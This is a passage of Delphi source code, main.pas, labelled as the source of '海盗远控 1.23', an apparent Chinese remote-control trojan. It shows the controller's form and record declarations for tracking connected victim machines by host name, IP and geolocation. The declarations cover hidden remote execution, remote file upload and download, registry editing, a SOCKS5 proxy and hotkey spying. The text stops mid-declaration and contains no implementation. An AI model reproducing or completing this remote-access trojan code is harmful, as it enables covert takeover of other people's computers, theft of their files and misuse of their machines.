main.pas

海盗远控1.23源代码

unit main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, LangFrm,
  Dialogs, ExtCtrls, ComCtrls, SkinCtrls, spTrayIcon, SkinHint, SkinData,DESCrypt,jpeg,
  SkinBoxCtrls, Gauges, StdCtrls, SkinTabs, Menus, ImgList, IdThreadMgr,mmsystem,winsock,
  IdThreadMgrPool, IdComponent, IdTCPServer, IdBaseComponent,IniFiles, untQQWry,BASE64,
  IdAntiFreezeBase, IdAntiFreeze, SkinMenus, DynamicSkinForm, Mask,shellapi,FileCtrl,
  HotKeySpy, ZLib, Clipbrd, soundOut,soundConverter, Registry, OleCtrls,
  SHDocVw, ScktComp;
const
  Head = 'ViKing';
  LF = #10;
  CR = #13;
  EOL = CR + LF;  //回车换行符
  
type // 服务器的会话信息。
  Ponlineinf = ^Tonlineinf;
  Tonlineinf = record
    ServerName: string[30];   {服务器主机名称}
    AThread : TIdPeerThread;  {服务器线程}
    Soc: integer;             {服务器线程ID}
    Online: Boolean;          {是否在线}
    ServerAdd: string[15];    {服务器IP地址}
    AdderStr: string;         {地理位置}
end;

type // 客户端断开时IP，IP+'-'+Soc。
  Tofflineinf = record
  ServerName: string[30]; {服务器主机名称}
  ServerAdd: string[15]; {服务器IP地址}
  Soc: integer; {服务器套接字句柄}
  AdderStr: string;         {地理位置}
end;

type
  TViKing = class(TLangForm)
    ControlBar1: TspSkinControlBar;
    MenuBar: TspSkinMainMenuBar;
    Gongjutool: TspSkinPanel;
    Bevel2: TBevel;
    Bevel1: TBevel;
    Bevel3: TBevel;
    ToolButton2: TspSkinButton;
    ToolButton1: TspSkinButton;
    ToolButton3: TspSkinButton;
    ToolButton4: TspSkinButton;
    ToolButton5: TspSkinButton;
    ControlBar5: TspSkinControlBar;
    Lgxxtool: TspSkinPanel;
    Label1: TspSkinStdLabel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    SportEdit: TspSkinEdit;
    Button1: TspSkinButton;
    IpEdit: TspSkinEdit;
    LjPassword: TspSkinPasswordEdit;
    CompressedStoredSkin1: TspCompressedStoredSkin;
    DSF: TspDynamicSkinForm;
    FileViewMenu: TspSkinPopupMenu;
    RRun: TMenuItem;
    Nonerun: TMenuItem;
    Hiderun: TMenuItem;
    Minrun: TMenuItem;
    Maxrun: TMenuItem;
    N33: TMenuItem;
    Runz: TMenuItem;
    Qviwe: TMenuItem;
    N59: TMenuItem;
    N23: TMenuItem;
    item33: TMenuItem;
    Copyob: TMenuItem;
    Copyto: TMenuItem;
    DelTo: TMenuItem;
    N56: TMenuItem;
    UpFile: TMenuItem;
    DownFile: TMenuItem;
    N53: TMenuItem;
    NewOt: TMenuItem;
    NewFolder: TMenuItem;
    N63: TMenuItem;
    NewTXT: TMenuItem;
    N66: TMenuItem;
    Ren: TMenuItem;
    IdAntiFreeze1: TIdAntiFreeze;
    IdThreadMgrPool1: TIdThreadMgrPool;
    ImageList1: TImageList;
    ImageList3: TImageList;
    ImageList4: TImageList;
    ImageList6: TImageList;
    ImageList7: TImageList;
    MainMenu1: TMainMenu;
    N12: TMenuItem;
    N39: TMenuItem;
    N40: TMenuItem;
    N48: TMenuItem;
    N49: TMenuItem;
    N50: TMenuItem;
    N52: TMenuItem;
    N13: TMenuItem;
    CtrlF121: TMenuItem;
    N54: TMenuItem;
    N32: TMenuItem;
    N22: TMenuItem;
    N55: TMenuItem;
    N28: TMenuItem;
    N2: TMenuItem;
    Windows1: TMenuItem;
    About: TMenuItem;
    N10: TMenuItem;
    OD: TOpenDialog;
    OnServerMenu: TspSkinPopupMenu;
    N65: TMenuItem;
    N67: TMenuItem;
    IP1: TMenuItem;
    N20: TMenuItem;
    N68: TMenuItem;
    N69: TMenuItem;
    N71: TMenuItem;
    N72: TMenuItem;
    PageControl1: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    Splitter1: TspSkinSplitter;
    Panel300: TspSkinPanel;
    ControlBar2: TspSkinControlBar;
    Panel19: TspSkinPanel;
    Bevel4: TBevel;
    Bevel5: TBevel;
    Bevel6: TBevel;
    FileToolButton4: TspSkinButton;
    FileToolButton1: TspSkinButton;
    FileToolButton2: TspSkinButton;
    FileToolButton3: TspSkinButton;
    FileToolButton5: TspSkinButton;
    FileToolButton6: TspSkinButton;
    FileToolButton8: TspSkinMenuButton;
    FileToolButton7: TspSkinButton;
    GroupBox5: TspSkinGroupBox;
    ListView1: TspSkinListView;
    spSkinScrollBar9: TspSkinScrollBar;
    spSkinScrollBar11: TspSkinScrollBar;
    Animate1: TAnimate;
    ExPanel1: TspSkinExPanel;
    TreeView1: TspSkinTreeView;
    ScrollBar6: TspSkinScrollBar;
    ScrollBar7: TspSkinScrollBar;
    TabSheet2: TspSkinTabSheet;
    Control1: TspSkinPageControl;
    TabSheet7: TspSkinTabSheet;
    Panel1: TspSkinPanel;
    CmdButton1: TspSkinButton;
    TabSheet8: TspSkinTabSheet;
    Memo2: TspSkinMemo;
    spSkinScrollBar16: TspSkinScrollBar;
    Panel2: TspSkinPanel;
    CmdButton4: TspSkinButton;
    CmdButton5: TspSkinButton;
    TabSheet9: TspSkinTabSheet;
    Panel3: TspSkinPanel;
    CmdButton6: TspSkinButton;
    CmdButton7: TspSkinButton;
    spSkinPanel11: TspSkinPanel;
    ListView4: TspSkinListView;
    spSkinScrollBar22: TspSkinScrollBar;
    spSkinScrollBar23: TspSkinScrollBar;
    TabSheet10: TspSkinTabSheet;
    ListBox2: TspSkinListBox;
    Panel4: TspSkinPanel;
    CmdButton8: TspSkinButton;
    CmdButton9: TspSkinButton;
    CmdButton10: TspSkinButton;
    CmdButton11: TspSkinButton;
    CmdButton12: TspSkinButton;
    CmdButton13: TspSkinButton;
    TabSheet12: TspSkinTabSheet;
    TabSheet13: TspSkinTabSheet;
    TabSheet14: TspSkinTabSheet;
    ListBox3: TspSkinListBox;
    Panel8: TspSkinPanel;
    Label7: TspSkinStdLabel;
    Label8: TspSkinStdLabel;
    Label9: TspSkinStdLabel;
    CmdButton30: TspSkinButton;
    CmdButton31: TspSkinButton;
    Socks5user: TspSkinEdit;
    Socks5pass: TspSkinEdit;
    Socks5port: TspSkinEdit;
    TabSheet15: TspSkinTabSheet;
    Memo7: TspSkinMemo;
    spSkinScrollBar19: TspSkinScrollBar;
    Panel10: TspSkinPanel;
    Label13: TspSkinStdLabel;
    ComboBox3: TspSkinComboBox;
    CmdButton34: TspSkinButton;
    CmdButton35: TspSkinButton;
    TabSheet3: TspSkinTabSheet;
    Splitter3: TspSkinSplitter;
    spSkinGroupBox1: TspSkinGroupBox;
    spSkinScrollBar1: TspSkinScrollBar;
    spSkinScrollBar3: TspSkinScrollBar;
    TreeView3: TspSkinTreeView;
    GroupBox4: TspSkinGroupBox;
    RegListView: TspSkinListView;
    spSkinScrollBar7: TspSkinScrollBar;
    spSkinScrollBar8: TspSkinScrollBar;
    TabSheet4: TspSkinTabSheet;
    ListView2: TspSkinListView;
    ScrollBar10: TspSkinScrollBar;
    ScrollBar12: TspSkinScrollBar;
    Panel14: TspSkinPanel;
    Gauge2: TGauge;
    Label16: TspSkinStdLabel;
    Label21: TspSkinStdLabel;
    Button63: TspSkinButton;
    Button64: TspSkinButton;
    Button65: TspSkinButton;
    DuandRadioBox: TspSkinCheckRadioBox;
    FugaiRadioBox: TspSkinCheckRadioBox;
    Button62: TspSkinButton;
    TabSheet6: TspSkinTabSheet;
    GroupBox2: TspSkinGroupBox;
    Serveronlinelist: TspSkinListView;
    spSkinScrollBar4: TspSkinScrollBar;
    spSkinScrollBar5: TspSkinScrollBar;
    Panel130: TspSkinPanel;
    Gauge1: TspSkinGauge;
    ZhuanTai: TspSkinLabel;
    SXxianshi: TspSkinLabel;
    RegMenu1: TspSkinPopupMenu;
    N1: TMenuItem;
    N8: TMenuItem;
    N34: TMenuItem;
    N35: TMenuItem;
    N11: TMenuItem;
    DWORD1: TMenuItem;
    N14: TMenuItem;
    N15: TMenuItem;
    N25: TMenuItem;
    N26: TMenuItem;
    RegMenu2: TspSkinPopupMenu;
    MenuItem2: TMenuItem;
    N27: TMenuItem;
    N31: TMenuItem;
    MenuItem3: TMenuItem;
    MenuItem4: TMenuItem;
    MenuItem5: TMenuItem;
    MenuItem6: TMenuItem;
    MenuItem7: TMenuItem;
    MenuItem8: TMenuItem;
    SaveDialog: TSaveDialog;
    SaveDialog1: TSaveDialog;
    spSkinData1: TspSkinData;
    spSkinHint1: TspSkinHint;
    spSkinPopupMenu3: TspSkinPopupMenu;
    N4: TMenuItem;
    Loadskin1: TMenuItem;
    Storedskin1: TMenuItem;
    About1: TMenuItem;
    N5: TMenuItem;
    spTrayIcon1: TspTrayIcon;
    statusbar: TspSkinPanel;
    Panel22: TspSkinPanel;
    CmdRichEdit: TspSkinRichEdit;
    ScrollBar2: TspSkinScrollBar;
    Timer1: TTimer;
    ViewMenu1: TspSkinPopupMenu;
    N16: TMenuItem;
    N17: TMenuItem;
    N18: TMenuItem;
    N19: TMenuItem;
    ImageList2: TImageList;
    SysMemo: TspSkinMemo;
    spSkinScrollBar2: TspSkinScrollBar;
    HotKeySpy1: THotKeySpy;
    ExPanel5: TspSkinExPanel;
    spSkinPageControl1: TspSkinPageControl;
    spSkinTabSheet14: TspSkinTabSheet;
    Panel28: TspSkinPanel;
    RadioBox8: TspSkinCheckRadioBox;
    GjButton40: TspSkinButton;
    CqButton41: TspSkinButton;
    XzButton42: TspSkinButton;
    spSkinPanel3: TspSkinPanel;
    Label23: TspSkinStdLabel;
    Label24: TspSkinStdLabel;
    wwwEdit: TspSkinEdit;
    Button44: TspSkinButton;
    DownEdit: TspSkinEdit;
    Button33: TspSkinButton;
    RadioBox9: TspSkinCheckRadioBox;
    Panel7: TspSkinPanel;
    CmdButton22: TspSkinButton;
    CmdButton23: TspSkinButton;
    CmdButton24: TspSkinButton;
    CmdButton26: TspSkinButton;
    CmdButton25: TspSkinButton;
    SheZhi: TspSkinComboBox;
    spSkinPanel8: TspSkinPanel;
    ListView5: TspSkinListView;
    spSkinScrollBar17: TspSkinScrollBar;
    spSkinScrollBar18: TspSkinScrollBar;
    spSkinPanel2: TspSkinPanel;
    CmdButton29: TspSkinButton;
    spSkinGroupBox2: TspSkinGroupBox;
    Label25: TspSkinStdLabel;
    Label26: TspSkinStdLabel;
    spSkinEdit3: TspSkinEdit;
    spSkinEdit4: TspSkinEdit;
    CmdButton27: TspSkinButton;
    GroupBox3: TspSkinGroupBox;
    Label6: TspSkinStdLabel;
    spSkinEdit5: TspSkinEdit;
    CmdButton28: TspSkinButton;
    Memo6: TspSkinMemo;
    spSkinScrollBar20: TspSkinScrollBar;
    exe1: TMenuItem;
    N3: TMenuItem;
    spSkinTabSheet1: TspSkinTabSheet;
    WebBrowser1: TWebBrowser;
    spSkinTabSheet2: TspSkinTabSheet;
    Label20: TspSkinStdLabel;
    ComboBox2: TspSkinComboBox;
    Label22: TspSkinStdLabel;
    spSkinEdit9: TspSkinEdit;
    Label19: TspSkinStdLabel;
    ComboBox1: TspSkinComboBox;
    Label18: TspSkinStdLabel;
    spSkinEdit8: TspSkinEdit;
    CmdButton49: TspSkinButton;
    CmdButton50: TspSkinButton;
    SkinEdit1: TspSkinEdit;
    ZjButton43: TspSkinButton;
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure N16Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N19Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormResize(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
    procedure FileViewMenuPopup(Sender: TObject);
    procedure TreeView1CustomDrawItem(Sender: TCustomTreeView;
      Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean);
    procedure TreeView1Expanding(Sender: TObject; Node: TTreeNode;
      var AllowExpansion: Boolean);
    procedure TreeView1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FileToolButton8Click(Sender: TObject);
    procedure XzButton42Click(Sender: TObject);

            //-----------------------------------------------------
    procedure IdTCPServer1WorkBegin(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCountMax: Integer);
    procedure IdTCPServer1WorkEnd(Sender: TObject;
      AWorkMode: TWorkMode);
    procedure IdTCPServer1Work(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCount: Integer);

        //-----------------------------------------------------
    procedure AutoOnlineWorkBegin(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCountMax: Integer);
    procedure AutoOnlineWorkEnd(Sender: TObject;
      AWorkMode: TWorkMode);
    procedure AutoOnlineWork(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCount: Integer);
    //-----------------------------------------------------
    procedure ShowPicWorkBegin(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCountMax: Integer);
    procedure ShowPicWorkEnd(Sender: TObject;
      AWorkMode: TWorkMode);
    procedure ShowPicWork(Sender: TObject;
      AWorkMode: TWorkMode; const AWorkCount: Integer);
    procedure HotKeySpy1HotKeys(Sender: TObject; HotKeyIndex: Word);
    procedure ServeronlinelistChange(Sender: TObject; Item: TListItem;
      Change: TItemChange);
    procedure ServeronlinelistColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ServeronlinelistCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure ServeronlinelistCustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
    procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
    procedure ListView1CustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
    procedure ListView1DblClick(Sender: TObject);
    procedure ListView1Edited(Sender: TObject; Item: TListItem;
      var S: String);
    procedure ListView1Editing(Sender: TObject; Item: TListItem;
      var AllowEdit: Boolean);
    procedure ListView1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure FileToolButton1Click(Sender: TObject);
    procedure FileToolButton7Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure N55Click(Sender: TObject);
    procedure Storedskin1Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure FileToolButton2Click(Sender: TObject);
    procedure FileToolButton3Click(Sender: TObject);
    procedure FileToolButton4Click(Sender: TObject);
    procedure NonerunClick(Sender: TObject);
    procedure HiderunClick(Sender: TObject);
    procedure MinrunClick(Sender: TObject);
    procedure MaxrunClick(Sender: TObject);
    procedure RunzClick(Sender: TObject);
    procedure QviweClick(Sender: TObject);
    procedure NewFolderClick(Sender: TObject);
    procedure NewTXTClick(Sender: TObject);
    procedure RenClick(Sender: TObject);
    procedure UpFileClick(Sender: TObject);
    procedure DownFileClick(Sender: TObject);
    procedure Button63Click(Sender: TObject);
    procedure Button62Click(Sender: TObject);
    procedure Button65Click(Sender: TObject);
    procedure Button64Click(Sender: TObject);
    procedure CmdButton1Click(Sender: TObject);
    procedure CmdButton4Click(Sender: TObject);